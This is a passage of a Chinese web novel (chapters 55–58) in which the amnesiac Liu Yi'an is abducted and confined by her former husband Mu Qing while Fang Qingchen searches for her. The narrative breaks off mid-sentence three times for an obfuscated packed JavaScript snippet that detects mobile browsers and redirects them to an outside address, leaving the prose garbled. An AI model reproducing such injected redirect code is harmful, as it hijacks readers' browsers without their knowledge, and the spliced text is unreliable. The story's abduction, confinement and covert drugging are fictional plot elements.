三人手牵着手,往家的方向走去。回到村里后,方轻尘让柳忆安送回家,叮嘱她先换身干净衣服休息,随后便带着石小白一路往他家走去。 走到石家院门前,方轻尘才停下脚步,蹲下身叮嘱道:“小白,千万不要在你母亲面前提到你父亲的事,知道了吗?” 石小白点点头,自从父亲离开后,家里便再无人提及他的名字。母亲每每听到有关他的事,脸色都会变得难看,因此他才不敢告诉母亲自己偷偷下山的事。 “石姐,您在家吗?我把小白送回来了。”方轻尘敲了敲门,却许久无人回应,猜测石姐是出门去寻小白了。 方轻尘略一沉吟,摸了摸石小白的头,温声道:“你妈妈不在家,你先去我家陪陪你忆安姐,我去寻你母亲。” 将石小白送到竹屋后,方轻尘飞快地为二人下了锅面条,就出发去找石姐。 他绕遍了村中几处石姐常去的地方,却始终不见她的身影,无奈之下,只得继续前往山下寻找。 来到半山腰时,终于看到了石姐的身影,她正扶着一名男子上山,仔细一瞧,那名男子正是石小白的父亲,石姐的前夫。 只见那名男子浑身是伤,无力地瘫在石姐身上,被石姐搀扶着艰难前行。 “石姐?这是?” 听到方轻尘的声音,石姐脚步一顿,抬起头时,脸上还带着未干的泪痕。她看了看怀里的男人,解释道:“我刚下山去找小白,结果在街边看见了他,不知道是被谁揍的。” 方轻尘眉头微蹙,上下打量着那名男子。男子衣衫破损,身上布满瘀伤和血迹,脸色苍白如纸,气息微弱,显然伤得极重。 “毕竟他是小白的爹,我做不到见死不救……” “石姐,他已经不是村里人了,按规矩我们不能接他上山。” “可是……” “我先为他把个脉看看情况吧,若真是有什么问题,在山下的镇子上找家客栈让他住着也行,我出钱。”说罢,方轻尘便伸出手,为眼前的男子把起脉来。 “石姐,他虽受了伤,但问题不大。我先带他下山找一个客栈住着,你先回去接小白吧,他在我家,有忆安陪着。” 那名男子听到方轻尘的话,不安地抱住了石姐,“我不和他走,你带我回家吧,我保证以后再也不会离开你和小白了。” 石姐一时不知该如何是好,她看了看小白爹乞求的眼神,又看了看神色坚决的方轻尘,心里乱作一团。 她虽心里怨恨小白爹抛下了自己和孩子,可如今见到他愿意回来,又忍不住动摇。 “石姐,村里的规矩你是知道的。”见石姐还在犹豫,方轻尘出言提醒。 “那好吧,轻尘,我把他拜托给你了。”石姐下了决心,她不能为了这个男人再毁掉自己和小白的生活。 方轻尘从石姐手中接过男子,目送她上山离开,等到她的背影彻底消失,方轻尘立刻将男子按倒在地上,狠狠道:“说!谁派你来的!” 方才他对石姐说谎了,这个男子根本没有受伤,身上的痕迹都是他的伪装。< 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石姐和石小白倒在地上,昏迷不醒。而柳忆安,已经不见踪迹。 坏了! 一定是有人先跟着小白爹,见半路被自己拦下,便转而潜伏,等待石姐回村,再一路尾随,最终找到了这里。 那人是冲着忆安来的! 方轻尘强迫自己冷静下来,试图从最近发生的一切中找出线索。 究竟是谁,一直在寻找柳忆安,知道小白和柳忆安是邻居,又清楚小白的家事…… 答案呼之欲出。 只有下午路过此地的神侍。 看来他下午已经发现了柳忆安的踪迹,只是碍于当时人多眼杂,没有立刻动手。 仅凭一个孩子的几句话,就在短时间内布下了陷阱,看来此人是个狠角色。 可是他为何要掳走柳忆安,他和柳忆安到底是什么关系?方轻尘想不明白。 神侍…… 方轻尘强迫自己冷静下来,可是他做不到。 再一次失去了柳忆安的踪迹,方轻尘仿佛又回到了刚得知柳忆安“去世”时的那段时间,整个人被巨大的绝望笼罩起来。 不过,他已不是三年前的自己。 一声尖锐的哨声划破夜空,不多时,数十道黑影自暗处疾掠而来,悄无声息地落在方轻尘四周。 “参见主公!”众人齐声低喝,声音压得极低,却透着铁血杀伐之气。 “我们的位置暴露,有人设下陷阱,掳走了我的妻主。”方轻尘的声音并不高,却让在场所有人心头一震。 “上官露,你立刻带人转移据点,务必确保行踪隐秘,不要留下丝毫痕迹,若有可疑之人跟踪,格杀勿论。” “步聪,你带人搜寻神侍的线索,务必查清他的去向,确认位置后第一时间传讯给我,不得打草惊蛇。” “是!”上官露和步聪领命。 “若有任何阻碍,可先斩后奏。” 55. 正牌夫郎 柳忆安挣扎地醒来,发现自己正躺在一张精致的檀木软榻上。软榻四周有层层的薄纱垂下,映出朦胧的烛光。 这是在哪……? 身上盖了一个真丝的薄毯,手感十分细腻顺滑,仅仅是轻轻摸了摸,就被手上的茧子勾出了丝。 头还有些闷痛,柳忆安揉了揉太阳穴,回想自己究竟是怎么出现在这个地方的。 当时自己正在和石小白用膳,接着石姐上门来接小白,两人寒暄了一会儿后,不知怎么就眼前一黑,晕了过去。 再醒来时,就是现在。 柳忆安拨开榻边的层层薄纱,警惕地环视着四周,想找到一些关于此地的线索。 她的脚刚踩到地上时,角落里突然传来一声: “你醒了?吃点东西吧。” 一名身着白衣的男子从阴影里走了出来。 随着他离自己越来越近,柳忆安终于看清了他的模样。 此人有一头银白色的长发,宛如月色倾泻般从肩头垂落,五官精致得不似凡人,鼻梁高挺,唇色浅淡,肤色雪白,宛如一幅工笔描绘的画卷,美得不似凡人。 柳忆安不自觉地屏住了呼吸,生怕冒犯到对方。 “怎么不说话?”柳忆安看见这名男子轻轻皱了下眉,语气里也带上了些犹豫,“你害怕我?” 注意到柳忆安不安的情绪,男子停下脚步,站在原地不再往前。 “当时遇险,为何不用我给你的白玉哨子?” “哨子?什么哨子?”柳忆安被问糊涂了,“你到底是谁?我们之前认识吗?” “你不记得了?”柳忆安听到男子先是吃惊地问了一句,接着便发出释怀的感叹,“难怪……” 接着,一股雪松的香气扑面而来,一晃神的工夫,柳忆安就被那名男子拥入了怀里。 “别怕,别怕。没关系了,你已经回来了,我不会再让你陷入危险之中了。” *** 三年前,柳忆安以安抚使的身份前往疫区,调查疫病久治不愈的根源。她发现京中送来的赤阴藤有问题,便紧急调拨了一批合格的药材送往疫区。可就在这批药材抵达途中,却被一伙山匪拦截掠夺。 与此同时,柳忆安本人也不幸染上疫病。 慕青深知陆将军定会出手相助,于是暗中探听她的计划,顺势推波助澜。他借主上的名义给那伙山匪送去密信,谎称第二批从京城运来的药材即将抵达,务必劫走。 事情果然如他所料,陆将军得知消息后,连夜率兵剿灭山匪,成功夺回药材,平安送到了疫区。而柳忆安的病情也得到了有效控制,一切都在往好的方向发展。 慕青开始倒数柳忆安回来的日子,期待着和柳忆安重逢。 到那时,他可借着上苍的名义为她的功绩再添一笔荣光,助她前往更高的地方。 然而,就在一切看似尘埃落定之时,突发变故,那伙被擒的山匪竟异口同声地指认柳忆安的母亲柳云是幕后黑手。 慕青知道,这是萧韵在背后动手脚。于是他派了一名手下混到了逮捕柳忆安的官兵队伍中,叮嘱她一定要保证柳忆安的平安。 在柳忆安返京的这段时间,慕青倾尽全力为柳家搜寻脱罪证据,可萧韵的动作,比他想得还要快。 手下再回来时,带来了柳忆安中箭落入河中的消息,除此之外,还有他送给柳忆安的白玉哨子,和一根白玉发簪。 簪子的用料很好,工艺却很拙劣,一朵并蒂莲开在其上,渗着丝丝血迹。 “主上,我已按照您的吩咐,将柳家的处境暗中透露给了柳大人。”那名手下语气颤抖,眼中闪烁着惶恐,“柳大人焦急之下,趁夜逃离监禁,途中却被人发现,被乱箭射中,坠入江中。属下只找到这两样东西……” 说完,她便呈上了白玉哨子和白玉发簪。 慕青静静地凝视着这两件物品,指尖不断拂过发簪上的血迹,神色冷漠而沉静。可任谁都能看出,他全身在颤抖着。 活要见人,死要见尸。 他下了死命令,倾尽手中所有力量去寻找柳忆安。 很多势力都在找柳忆安的下落,除了陆将军和方轻尘,萧韵的手下也一直在寻找柳忆安的消息。 为了阻止萧韵,他不得不分出大量人手与她斡旋。正因如此,才让别人钻了空子,先他一步找到了柳忆安。 一年前,属下终于送来了柳忆安的消息,说她隐居于某处偏远村庄。 可当他赶到时,她已被人带走。 仅仅晚来数日,她便又一次从他的世界彻底消失。 但她还活着。 只要她活着,就够了。 只要她还活着,慕青相信自己总有一天能找到她。 功夫不负有心人,这次仅用了一年,就得到了关于她的线索。 他本以为,还需要数月甚至数年才能真正找到她的下落,结果,却在半路上看到了她。 其实并不难找,她出现在人群中的那一刻,仿佛有什么感应似的,慕青一眼便看见了她。 她看上去变了很多,气质和以前不同了,身体也健壮了些。 可是她的目光依然是那么温柔和镇定,就像多年前她望向自己时一样。 他日日的祈祷终是被上天听到,历经多年,他终于将她拥入怀里。 虽然她失去了过往的记忆,但这也证明着,他和她,会有一个新的开始。 这次,他绝不会再犯过去的错,绝不会再任由别人觊觎她。 毕竟,她是他注定的妻主。 *** 柳忆安被突如其来的拥抱吓得僵在原地,男人的气息将她整个人笼罩其中。 “你先松开我。” 男人没有松手,反而收紧了怀抱,仿佛要把柳忆安嵌入自己的骨血之中。 柳忆安心里更着急了,“你快放开我,我夫郎知道了会生气的。” “你说方轻尘吗?他才不是你夫郎,他只是个骗子,你莫要相信他。”慕青将头埋在柳忆安的颈间,沉迷在她的气息中。 柳忆安心中大惊,但她故作镇定道:“你凭什么那么说我的夫郎?你有什么证据吗?” 她一边问,一边悄悄挣扎着。可对方的双臂却如铁钳一般,将她牢牢禁锢在怀里,丝毫不给她逃脱的余地。 “证据我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169110|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你的,先让我抱一会儿,求求你了。” 男子的声音低沉而哀伤,还带着一丝若有若无的撒娇,柳忆安被这声音迷了心窍,不再挣扎,任由他抱着自己。 过了很久,眼前的男子终于松开了紧紧缠着她的胳膊,牵着她的手走到一张圆桌前,上面摆着各种吃食。 “你一定饿了,边吃边听我说吧。”男子为柳忆安盛了碗稀饭,“你还记得吗?我们大婚的那晚,你怕我饿,为我准备了各种点心,连粥也准备了咸甜两种味道。” “大婚?我们大婚?” 到底是怎么回事,怎么一个个都说和自己成过婚。 她到底有多少个夫郎? “你说你是我夫郎,方轻尘只是个骗子?”这些消息太过震撼了,柳忆安被惊到吃不下饭,“可是我觉得方轻尘很眼熟,而且我……” 而且我很喜欢他。 这句话柳忆安只在心里默默念叨,没有说出来。 “我才是你明媒正娶的夫郎,我们是有母父之命媒妁之言的。方轻尘,他只是小侍罢了。”慕青故意省略了方轻尘是怎么被纳成小侍的。 这么说,是自己在婚姻里三心二意?虽然娶了个肤白貌美的夫郎,但还是爱上了方轻尘,将他纳进门了吗? 难怪自己会对方轻尘感到心动。 柳忆安开始心虚。 不对不对,凭什么他说什么我信什么。 “你怎么证明呢?我还不知道你叫什么呢?” “我原名秋川白,现在改名为慕青。”柳忆安见他从怀里掏出一张纸,小心地展开,“这是我们的和离书。” 只见和离书上分别签着“柳忆安”“秋川白”的姓名,并按有手印。 “你可以按一个手印对比一下,看看是不是你本人。” 柳忆安拿起和离书,仔细观察着,心里越来越纳闷,“为什么上面签着‘柳忆安’?可是我不是叫‘方忆安’吗?” 闻言,慕青一下就猜到了方轻尘的想法,单叫“忆安”没什么,可若是加上“柳”这个姓氏,就太危险了。 “柳家出过事,这个姓很危险。”在这件事情上,慕青没有趁机落井下石,“此事,他大概也是为了姑娘好。” 柳忆安怔怔地盯着那张和离书,心头的疑惑和震惊如潮水般翻涌。 柳家出了什么事? 如果方轻尘是为了自己好,为何不告诉自己真相,反而要隐瞒她的身份?而眼前的慕青……他的话又有几分可信? 她强令自己镇静下来,继续问道:“那我们当初又为什么和离?是因为我纳了方轻尘进门吗?” 这个问题,慕青早就想好了回答,只是他的情绪还是不由得波动了一下。 同柳忆安和离,是他心头永远的悔恨与伤痛。 “那时候,你遭人陷害,被迫卷入京中的权谋之争。为了保住性命,你只能放弃柳家的身份,远走他乡。”他低声道,目光里透着无尽的怜惜,“而你……为了护我周全,同我和离。我心里虽不舍,但终是拗不过你。” “不过现在没事了,如今我已有能力保护你不受奸人所害,我们再也不会分开了。” 56. 头中淤血 慕青陪着柳忆安吃完了桌上的饭菜,又给她讲了一些两人过去的事情,直到她困倦地打了个哈欠,他才起身离开。 房门关闭的瞬间,一声金属碰撞的轻响传入她耳中。 她趴到门前仔细观察了一阵,发现这扇门表面上是一层木板,里面竟然藏着铁架子。 慕青是在防自己跑出去,还是防别人进来,抑或是二者皆有? 她刚从慕青那里得到了太多消息,脑子现在乱作一团,心里也有太多的疑惑。 慕青说自己过去叫秋川白,那到底为何改了名换了姓? 她已经和方轻尘一起生活一年有余,这一年里,方轻尘一直事无巨细地照顾她,人人都羡慕她有个体贴至极的夫郎。在她的记忆里,他是一个最可靠不过的夫郎,两人之间没有任何秘密……至少今日之前,她一直是这样认为的。 她也曾问过方轻尘,自己家在何方,母父又在哪里。可方轻尘告诉自己,她的母父在两人成婚不久后便离世了,从那之后只有她们两人相依为命。 至于自己又究竟为何受了重伤,并且丢了记忆。方轻尘的说法是,她出门行商的路上遇到了山匪,逃跑的路上掉进了河里。 此前她从未怀疑过方轻尘的解释,可今天,却突然从慕青这里得知了一个截然不同的说法,这让她陷入了一种莫名的恐慌中。 她不敢相信方轻尘,更不敢相信这个突然劫走她的慕青。 过去的真相究竟是什么?这两人谁在说谎? 不过,最起码有一点可以确认,那就是自己的过去并不简单。 她必须想办法找到失落的过往。 思绪翻涌间,柳忆安不知不觉进入了梦乡。 梦里,她再次回到那座高塔之上,那个白发男子也终于有了清晰的五官。 正是慕青的模样。 “忆安……” 梦中的慕青不断呢喃着她的名字,一步步地走到她面前。 “这次,你跑不掉了……” 随着慕青越来越近,柳忆安忙不迭地向后退了去,突然间,脚下一空,她从高楼摔下,以极快的速度向地面坠去。 砰。 柳忆安猛地惊醒,浑身都是因恐惧而产生的冷汗。 又做梦了。只是这一次,梦里的人终于有了清晰的五官。 在和方轻尘相遇前,她就经常做噩梦。可自从她和方轻尘一起生活后,就鲜少再做梦了。 仅仅离开他一天,噩梦就席卷重来了吗? 这柳忆安猜测这并不是巧合,这一年里,方轻尘几乎每天早上都会替她把脉,偶尔还会煎些安神的汤药,说是为了她的身体恢复得更好。 此前,柳忆安从未多想,毕竟她确实时常头痛,偶尔也有嗜睡不醒的症状。可现在回想起来,这些药,真的只是单纯的调养之用吗? 柳忆安努力回忆起过去的点点滴滴,企图拼凑出一些线索,可随之而来的便是越来越强烈的头痛,剧烈的痛感让她忍不住用十指用力搓揉着自己的脑袋。 忽然,门口传来窸窣的声响,是慕青带着食盒来看她。刚进门,就看见柳忆安蹲在墙边,双手捂住头,一副痛苦不堪的样子。 “来人!速请姜大夫过来!” 慕青对下人撂下一句吩咐后,便快步赶到柳忆安身边,将她一把抱起。 慕青小心地将柳忆安放到榻上,“怎么了?是头痛吗?” 柳忆安微微侧过头,避开了慕青关心的目光,“可能是睡得太久了,没事的。” “哪里没事?”慕青低声叹息,伸手覆在她的额头上,感受到她的体温并无异常,方才略微松了口气,“忍一忍,我帮你缓解。” 柳忆安还未反应过来,便感觉到一双温热的手掌按在了她的太阳穴上,以极轻极缓的手法缓解她的头痛。随着慕青轻柔的按摩,针刺般的疼痛逐渐缓解,心神也随之放松了些。 “参见神侍大人。”属下带着姜大夫赶到,两人皆喘着粗气,头上还带着一路小跑出的汗。 自从这位神侍所说的诸多预言被一一证实,皇帝对他的信任已然达到近乎盲目的程度,所有的朝政几乎都要过问他和国师两人,如今可谓是翻手为云覆手为雨。 一开始,朝中有不少人质疑他的身份,说他是在招摇撞骗。可那些人后来一个接一个出了事,轻则死于非命,重则家破人亡,且找不到任何凶手的线索,最后只好说是上天的惩罚。 如今,早已没人敢质疑神侍的身份,朝中的官员,要不对他阿谀奉承,要不对他避之不及。 总而言之,对这位神侍下的命令,大家都打起十二分精神,生怕一个不慎就落个凄惨下场。 “姜大夫,她头疼,你来看看究竟是怎么回事?” 姜大夫不敢耽搁,快步走上前来为柳忆安诊脉。只是她手指刚搭上柳忆安的脉搏,眉头就紧绷了起来。 “这……” 把完脉,姜大夫迟疑地看向慕青,慕青看出她的纠结,“出去说吧。” 慕青带着手下还有姜大夫走了出房门,确定柳忆安听不到她们三人的对话,这才开口问道:“情况很严重吗?为何要避开她?” “大人,这位姑娘情况有点特殊。她脑中有淤血,应当是多年前受过撞击所致。但这些年,她服下了很多活血化瘀的药,按理说脑中淤血应该散了才是,可是……” 姜大夫顿了顿,仔细斟酌着用词。 “可是,淤血非但没有完全散去,反而像是被某种药物人为地控制住了,故意留住了这淤血。” “她头疼和这淤血有关吗?”慕青的声音里带着藏不住的紧张。 “姑娘此前应是每日服药以平稳情况,如今骤然停药,淤血开始自行消散,因此才会引发疼痛。” “那怎么才能让她不疼?” “有两种方法,一是我可施针助淤血尽快消散,只是在淤血完全消散前,姑娘的头可能会像今天一样疼。二是继续服药稳定,不过淤血久积脑中,以后若再想消淤就难了。” 这该怎么选…… 慕青陷入沉默,突然间,他想到一个问题。 “对了,她丢失了一些记忆,若淤血散去,她能记起来吗?” “姑娘失忆应当就是这头中淤血所致,淤血散尽后应当会恢复。” 慕青明白了方轻尘为何用药控制住了这个淤血,在和柳忆安有关的事情上,他和自己的表弟有着非同寻常的默契。 他知道方轻尘是不想让柳忆安记起柳家悲惨的遭遇。 可自己该怎么做呢?是让她完全恢复,还是将她过往的经历都藏起来。 柳家的遭遇实在太令人悲痛,连他这个仅仅在柳家住过半年的人都觉得难以承受,不敢想柳忆安记起一切后会有多绝望。 他想起了柳忆安的父亲曲氏,在他刚进门时不仅没有像其他公公一样故意令他难堪,反而对他百般包容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187427|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手上还戴着曲氏送给他的玉镯,离开柳家时,他存着私心,没有将镯子还回去。因为只要戴着这个镯子,他就可以假装自己还是柳忆安的夫郎。 他又想起新婚第二日敬茶时,柳家主曾说过的话—— “忆安忆安,就是我们对她,也是我们对你们最大的心愿” 萧韵利用柳家人对孩子的关切,设下了致命的圈套,害得柳家满门覆灭。 而失去记忆的柳忆安,正好不用去面对这些那些沉重的痛苦与仇恨。凭自己如今的权势地位,完全可以许她一生的安稳。 “姜大夫,这段时间你就住在这里,先稳住她的情况。至于这淤血怎么处理,待我再想想。” *** 连喝了几日药,柳忆安的头疼再也没发作过,那些噩梦也跟着没了。 姜大夫不愿告诉她太多,只说她的身体已无大碍,只需静养。她知道对方有所隐瞒,但追问不出任何线索。 现在,除了自己错综复杂的身世,她最关心的就是方轻尘的下落。 自己突然消失,方轻尘一定吓了一跳。 也不知道他现在如何。 即便他没有告诉自己所有的真相,但这一年无微不至的照顾不会有假,柳忆安相信方轻尘对自己的情意。 她想离开这里,可这个慕青以休养为名将她锁在房间里,不给她任何逃离的机会。 这几日,不知是不是觉察到她不安分的心思,慕青甚至搬了张坐榻进来,每晚和自己睡在一个房间。 这么下去不是办法,和方轻尘在一起时,自己好歹能在山上闲逛。可在慕青身边,连屋都出不去。 更可怕的是,这个慕青,一开始还只是坐在床边看着她入睡,而最近越来越过分,一定要她依偎在自己怀里入睡。 虽然柳忆安很喜欢他身上浅浅的雪松香气,但她毕竟不是小孩子了,被人抱着睡觉实在是太过别扭了。 最最可怕的是,有一天晚上,她只是闭上了眼睛休息,突然间,她的嘴唇感受到一丝柔软的凉意,像是被人轻啄了一口。 柳忆安仿佛被一道闪电劈过,从头麻到脚,一动也不敢动。 只听身后的人轻轻笑了一声,为她捻好被子,然后轻手轻脚地从床上下去了。 这一夜,她彻夜未眠。 不过第二天,她就得到了一个好消息,慕青允许她去院子里转转了。 “真的吗?太好了。” 得到准许的柳忆安,顶着一脸的黑眼圈就冲到了院子里。 慕青跟在她身后,有些无奈地叮嘱道:“小心点,别摔倒了。” 前段时间,一直有人盯着这间院子,慕青不敢放松警惕,就将柳忆安多关了两日。 昨天,他终于排查完附近所有的隐患,确认了附近再无什么可疑的人盯梢,这才敢让柳忆安出来散心。 柳忆安出了门,才发现这间院子远比自己想象得小。唯一令人觉得惊喜的地方,是院子中间长着一棵高大的杏树,枝丫上是层层叠叠的杏花。 “喜欢吗?等结了杏子,我做腌杏脯给你吃。”慕青跟了上来。 柳忆安的脑中突然闪回了一段模糊的记忆—— “等以后结了杏子,我可以给小姐腌杏脯吃。” 杏子…… 她的心猛地一跳,一个熟悉却又遥远的名字脱口而出。 “映杏居……这里,是映杏居吗?” 57. 姐弟冲突 京城陆府,来了一名不速之客。 陆映昭为来者倒了一杯茶,“方公子,好久不见,这段时日多亏有你帮忙。” “陆将军不必同我客气,我这次来……” 话才说了一半,方轻尘突然感觉一阵拳风从背后袭来,连忙飞身躲开。 “方轻尘,你还敢来!”陆映川愤怒的声音从他背后响起,“说,你把她藏哪里了!” 三年前,两人约定好一同寻找柳忆安的下落,结果才刚有些眉目,方轻尘就销声匿迹。且自那之后,他再也寻不到柳忆安的任何踪迹。 不难猜,一定是方轻尘将柳忆安藏了起来。 他没有放弃寻找,只是方轻尘藏得太深,连他手下最精锐的影卫也查不到半点踪迹。本以为还得费很大工夫,没想到方轻尘今日竟主动送上门。 “川儿!你冷静点!”陆映昭拦在了陆映川和方轻尘之间,紧紧抓住陆映川挥到一半的拳头,“是我和方公子一起隐瞒了柳女君的下落,这件事你要怪就怪我吧。” “陆映昭!你明明知道我一直在找她!你明明都知道!” 在得知自己被最信赖的姐姐欺瞒后,陆映川的拳头无力地垂了下来。 “姐,为什么?” “京中局势越来越复杂,柳女君的下落越少人知道她就安全。方公子本来就和柳女君情投意合,由他带着柳女君躲起来再合适不过。”陆映昭一边解释,一边默不作声地将他拉开,同时对着身后使了使眼色,“再说,当初看上柳女君,不就是因为她前途好,家世背景单纯,对男子没有偏见吗?你如今已经成亲,而且你的妻主也满足了这些要求,你还找人家柳女君作甚?” “可是我成亲……” 话音未落,陆映川就被偷偷潜入身后的锦儿一个手刀劈晕了过去。 “锦儿,先把他送回卧房。”陆映昭送锦儿出了正厅,随后叮嘱道,“然后你去韩府一趟,给韩翰林说川儿今日留在陆府陪我,不回去了。” 目送锦儿架着陆映川往卧房走去,陆映昭不敢耽搁,快步走回正厅,向方轻尘赔礼道歉:“真不好意思啊方公子,让你见笑了。您继续说,这次来是为了何事?” “忆安被人劫走了。”方轻尘单刀直入。 “什么?究竟怎么回事?” 方轻尘将那日发生的一切细细说与了陆映昭,尤其是关于神侍的部分。 “陆将军,我觉得此事大约是这个神侍所为。我这次来,一是为了拜托你帮我留意一下神侍的情况,二来是为了探听一些这个神侍的来历。我听说,当年陆将军也有参与到神侍选拔一事?” “神侍…除了皇帝身边的人,没人清楚神侍的行踪。” 陆映昭尝试着回忆有什么和神侍有关的消息,说实话,她亲眼看见神侍的次数不多。神侍选拔的时候她仅负责护送候选人,她甚至不知自己护送的那人究竟是谁。而朝中官员,仅有少数皇帝亲信才能求见神侍,她也只在祭奠上远远瞧过几眼。 紧接着,陆映昭开始推测神侍劫走柳忆安的动机,“至于他为何要掳走柳女君,莫非是柳府此前被诬陷一事与他有关?如果真是这样,那柳女君就危险了。” “正是担心如此,今日我才唐突上门。我必须赶紧找到忆安才行,拖得越久她越危险,此事还请陆将军鼎力相助。”方轻尘越来越着急,语速也不自觉地加快起来。 “放心吧方公子,我视忆安为姐妹,如今她生死未卜,我必倾全力寻她。”陆映昭郑重许诺,虽不能和柳忆安结成姻亲,但她对柳忆安的欣赏和感激却未曾变过。今日得知柳忆安再次失踪,她也感到十分焦躁。 “或许,我有一个主意。”陆映昭突然想起当年她和柳忆安寻找游商下落时,对方曾说过,如果难以找到游商下落,便想办法让她们主动送上门来。如今也一样,如果找不到神侍的下落,便想办法让神侍送上门来,“我们可以想办法让神侍主动回京。” 闻言,方轻尘点点头,“这是一个办法,陆将军有具体的方案吗?” “这事交给我,只是还需要方公子在背后动些手脚,你只需……” *** “慕青,为什么别人叫你‘神侍大人’,‘神侍’是什么?我怎么从来没听说过。”柳忆安百无聊赖地躺在杏树下晒太阳,慕青则在一旁为她剥着核桃。 “‘神侍’就是骗子罢了,骗子骗到的人越多,骗子的地位就越高。所谓‘神侍’,就是一个骗了全天下的人。”慕青的语气不咸不淡,但柳忆安从他的话里听出了他对自己“神侍”身份的厌烦。 说完,慕青将剥好的核桃仁送到柳忆安嘴边,柳忆安吞下核桃的时候,嘴唇无意间触碰到了慕青的手指。刹那间,慕青的心头仿佛被火星撩过。 柳忆安倒是没觉得有什么,继续问道:“那也就是说,你是一个地位很高的人了?” “嗯,足够护你一生无虞。” “那我不要被关在这个院子里,你放我出门。”柳忆安不满道,她消失得太久了,也不知道方轻尘如今急成什么样。 虽然方轻尘可能骗了她,但两人毕竟朝夕相处了一年有余,情意不会有假,她必须当面问清真相。 自从她被慕青掳走,还未曾踏出过这个院子一步,算下来也有小半月了。 “你身子还未完全恢复,出门怕是危险,等你好起来了再说。”在这件事上,慕青不愿松口。 他曾失去过柳忆安两次,如今他再也无法承受任何失去柳忆安的风险。她想要的,他都愿意给她,但她必须在他能完全控制的范围内。 柳忆安原本还想和他讨价还价一番,却被一旁的下属打断。 “大人,京中来信。” 慕青接过信纸,刚看了几行,眉头便皱了起来。 皇帝让他速速回京,为即将启程的将士祈福。时间非常紧急,三日内必须赶到。 “速备马车,立刻回京。”慕青对着身边人吩咐下去。 柳忆安捕捉到了关键信息,连忙问:“我们要去京城了?今日就走吗?” “嗯,京城的院子远比这里的大,到时候你就不会这么无聊了。”慕青紧靠着柳忆安坐下,从怀里掏出了一支金钗,“原本想等两日后的花灯节再给你,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15226953|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来这个节我们要在路上过了。” 柳忆安接过金钗,细细地端详起来。 这是一支十分精美的金钗,钗尾处雕着一对莲花,层层叠叠的花瓣间嵌着一颗精美的珍珠。四周的叶子上点缀着晶莹的白晶,如清晨的露水般透亮。 “金钗?”柳忆安好奇地打量着发钗,“这上面刻的是什么?并蒂莲吗?” “嗯,是并蒂莲。”这个金钗是慕青仿照柳忆安曾经落下的白玉钗找人打制的,上面镶嵌的珠宝都是他一颗一颗寻来的珍品,“你喜欢吗?” “很好看,我喜欢。”柳忆安侧过头,“你来替我簪上吧。” 慕青接过钗子,小心翼翼地簪到了柳忆安的头上。当手指拂过柳忆安的发丝,他仿佛回到了刚同柳忆安成婚的时候。 那时他也这样为她簪过发,只不过,当时的自己只是为了扮作一个合格的夫婿而已。如今心态已经截然不同,每当手触碰到柳忆安,他的心里不由得满是悸动。 真好啊,就这样陪在她身边。 柳忆安摸着头上的金簪,心里同样满是欢喜。 真好啊,这个簪子一看就非常值钱。 在和杨姨生活的那一年里,她彻底认识到了钱财的重要性。世道艰难,农民仅靠种地很难顿顿吃饱饭,只能在农忙之余找一些杂事来贴补家用。 如今有个这么沉的金子簪在头上,以后再也不怕吃了上顿没下顿了。 看到柳忆安一脸欣喜的样子,慕青也摸了摸头上的白玉发簪,满意地笑了。 这还是三年前柳忆安中箭落入河时遗落下的发簪,自从属下将玉簪呈给他,他便日日佩戴。前不久,刚寻回柳忆安时,他便让工匠仿照玉簪的样子打造了一个几乎一样的金簪,如今他和柳忆安分别带着金簪和玉簪,正若民间所谓的“金玉良缘”。 “忆安,你再休息一会儿,我们马上就要出发了。” 行囊很快就收拾完毕,慕青扶着柳忆安上了马车。马车启动时,柳忆安拉开帘子,本想看看周围的环境,结果映入眼帘的是排列整齐的骑兵队列。 这一路,马车走得飞快,导致一路都在颠簸。尽管柳忆安一直靠在车厢里,但免不了被磕碰,两天下来,头又开始隐隐作痛。 第三天夜里,柳忆安正躺在马车里睡觉,马车突然开始剧烈地颠簸,似乎是车轮正驶过一阵乱石。 一瞬间,柳忆安头疼欲裂,似乎有什么东西在不断撕扯着她的头。 此时夜深人静,柳忆安咬紧牙关,努力克制自己不叫出声。 疼痛一波又一波地袭来,她的头上渗着涔涔的冷汗,不知过了多久,她已经疼到麻木,终于昏睡了过去。 这一晚,失去的记忆被连根拔出,曾经的过往一幕幕地从柳忆安脑海里闪过。所有的爱、恨、情、愁在一瞬间一拥而上,打得她毫无招架之力。 这是一场好似没有尽头的梦,在这场梦的结尾,她得知了母父被诬陷成“畏罪自尽”,而自己则在逃跑的过程中被乱箭射中,跌入到湍流的河水里。 柳忆安“倏”地睁开眼。 她终于醒了。 58. 故事 “怎么了”慕青听到窸窣的声音,回头看到柳忆安蜷缩在角落里喘着粗气,“太颠簸了吗?” 